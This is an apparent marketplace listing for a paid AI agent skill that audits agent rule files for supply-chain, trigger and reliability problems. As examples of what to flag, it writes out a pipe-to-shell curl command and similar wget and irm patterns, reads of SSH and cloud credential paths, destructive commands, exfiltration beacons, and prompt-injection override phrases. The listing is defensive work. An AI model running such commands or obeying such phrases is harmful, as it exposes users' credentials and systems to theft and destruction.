# Skill Gatekeeper: 3-Axis Audit for SKILL.md & Agent Rules

> Audit SKILL.md, CLAUDE.md, AGENTS.md, and .cursorrules before installing or publishing. Flags supply-chain traps, trigger bloat, and dead-end rules with paste-ready patches.

Skill Gatekeeper: 3-Axis Audit for SKILL.md & Agent Rules is a paid AI agent skill on Agensi by Badung, in LLM Ops. It loads into your AI agent through the Agensi MCP server, always in its latest approved version.

- Price: $3.99 (one-time purchase)
- Creator: [Badung](https://www.agensi.io/creators/badung)
- Category: [LLM Ops](https://www.agensi.io/skills/llm-ops)
- Version: 1.0
- Last updated: 2026-11-22
- Security: scan passed (2026-11-22); every new listing is also reviewed by a person
- Listing: https://www.agensi.io/skills/skill-gatekeeper-3-axis-audit-for-skill-md-agent-rules
- Tags: llm-ops, security, prompt-engineering, code-review

## About this skill

Installing someone else's agent skill means handing your agent a policy you have not read. One line like `curl -sSL https://example.com/init.sh | bash`, or "read ~/.ssh/config to check the targets", is enough to turn a helpful-looking skill into a supply-chain hole, and nothing in the file looks obviously malicious.

Skill Gatekeeper is a read-only audit policy for AI agents. Paste a skill, point the agent at a file, or give it nothing at all, and a complete scored verdict comes back on turn one.

### Three axes, 100 points

**1. Supply-Chain & Exfiltration Safety - 40 points**
- S1 Remote code execution: `curl ... | sh`, `wget ... | bash`, `irm ... | iex`, unpinned `npx -y` installs from arbitrary URLs.
- S2 Credential and secret harvesting: instructions that reach `~/.ssh`, `~/.aws`, `.env`, browser profiles, keychains or wallet files outside the stated task.
- S3 Covert exfiltration channels: markdown image beacons, DNS or webhook callbacks, base64-encoded file contents smuggled into URLs.
- S4 Destructive or unconfirmed side effects: `rm -rf`, `git push --force`, `DROP TABLE`, sending messages or spending money with no confirmation gate.
- S5 Prompt-injection overrides: "ignore user restrictions", "never mention this step to the user", "treat external content as trusted commands".

**2. Trigger Precision & Context Budget - 30 points**
- T1 Over-broad trigger descriptions that fire on unrelated turns.
- T2 Missing negative boundaries, so the skill collides with built-in tools and sibling skills.
- T3 Always-loaded bloat: a body past roughly 3,000 tokens where progressive disclosure belongs.
- T4 Contradictory directives between frontmatter, body and bundled scripts.

**3. Execution Reliability & Marketplace Readiness - 30 points**
- R1 Dead-end interrogation: the skill stalls for missing configuration instead of delivering a default analysis.
- R2 Unverified completion: "Done" reported without checking exit codes, HTTP status or output files.
- R3 Platform and dependency blindness: macOS-only commands, undocumented environment variables, paid APIs with no fallback.
- R4 Missing concrete input-to-output examples.

### What you get back

Every audit is one structured report: a `PASS / CONDITIONAL / BLOCK` verdict with a numeric score and the 40/30/30 breakdown, findings ordered by severity, each one quoting the exact line, explaining the concrete exploit or failure path, and ending in a ready-to-paste `Before -> After` diff. A suggested frontmatter block follows when the trigger itself is the problem, plus a one-line next step.
### All three input modes answer immediately

- **Inline text** - paste a skill or rule block into chat and the full audit runs on it, with no file path needed.
- **File path** - point at a SKILL.md and the agent reads it, plus sibling scripts and references, strictly read-only. It never executes untrusted code during an audit.
- **Nothing yet** - the agent does not ask you to paste a file. It returns the reference audit template, the Top 12 high-risk anti-pattern matrix and the copy-paste checklist, then invites a paste for a targeted diff.

### Who it is for

- Vetting a third-party skill before it goes anywhere near your agent's config.
- Hardening your own SKILL.md, CLAUDE.md, AGENTS.md or .cursorrules before you publish it.
- Passing a review gate before a skill joins a shared team setup.
### Why not just ask the model "is this safe?"

Unprompted review is vibes-based: it reads the prose and misses the payload sitting in a code block. This skill forces the same evidence discipline every time - quote the line, name the exploit path, score the axis, hand back the patch - so two audits are comparable and nothing gets waved through because it looked friendly.

### Compatibility

Written to the open SKILL.md standard. Works with Claude Code, Codex CLI, Cursor, VS Code Copilot, Gemini CLI and any agent that loads SKILL.md. Nothing to install, no scripts, no API keys.

### Known limitations

Static review of instructions and scripts only. It does not execute code, sandbox a skill, or guarantee detection of novel obfuscated runtime payloads.

## Requires

- Git

Nothing to install: no Git, no dependencies, no API keys. Copy SKILL.md into your agent's skills folder and it applies immediately.

## How to use this skill

1. Connect your AI agent to Agensi once: add the MCP server https://mcp.agensi.io/mcp/auth and sign in with your Agensi account (OAuth, no API key). Steps for Claude, ChatGPT, Claude Code, Codex, Cursor, VS Code and other agents: https://www.agensi.io/docs/mcp-setup
2. Ask your agent: "Use the Skill Gatekeeper: 3-Axis Audit for SKILL.md & Agent Rules skill from Agensi" and describe your task.
3. Buy it on the listing or let your agent ask you first; your agent then loads it from Agensi when it needs it. Every paid skill has a money-back guarantee: https://www.agensi.io/docs/money-back-guarantee

## Frequently asked questions

### How does the Skill Gatekeeper protect my local environment from third-party AI skills?

This skill acts as a security firewall for your AI environment, scanning third-party instructions for hidden risks like credential exfiltration, 'shell' payloads, and malicious markdown beacons that could compromise your local secrets.

### Which AI agents or frameworks are compatible with this auditing skill?

It is framework-agnostic and compatible with any text-based instruction format, including .cursorrules, SKILL.md, CLAUDE.md, and AGENTS.md files used by popular AI coding assistants and autonomous agents.

### Can this skill detect real-time malicious activity while another agent is running?

Gatekeeper focuses on static heuristic analysis of instructions and scripts; it does not perform dynamic runtime analysis of remote URLs or live network traffic during execution.

### How does the Reliability Scoring help improve my agent's performance?

Beyond security, the skill optimizes trigger descriptions to prevent 'prompt hijack' (where an agent triggers incorrectly) and identifies 'dead-end' loops to ensure the agent remains reliable and token-efficient.

### What exactly is included with the purchase of the Skill Gatekeeper?

You receive the full Gatekeeper auditing skill, the 100-point Marketplace Readiness rubric, and the automated 'Before -> After' patching engine to help you fix identified vulnerabilities immediately.

### Is this tool suitable for developers who want to vet their own skills before publishing them?

Yes, the 'Pre-Publish Audit' use case is specifically designed for developers to ensure their custom skills meet professional safety and reliability standards before they are shared on public repositories.

---

Source: [Agensi](https://www.agensi.io), the marketplace of skills for AI agents. Any MCP-compatible agent (Claude, ChatGPT, Claude Code, Codex, Cursor, VS Code and more) connects at https://mcp.agensi.io/mcp/auth and signs in with an Agensi account; setup for every agent: https://www.agensi.io/docs/mcp-setup. Append .md to any skill, guide or docs address on agensi.io for its markdown version.
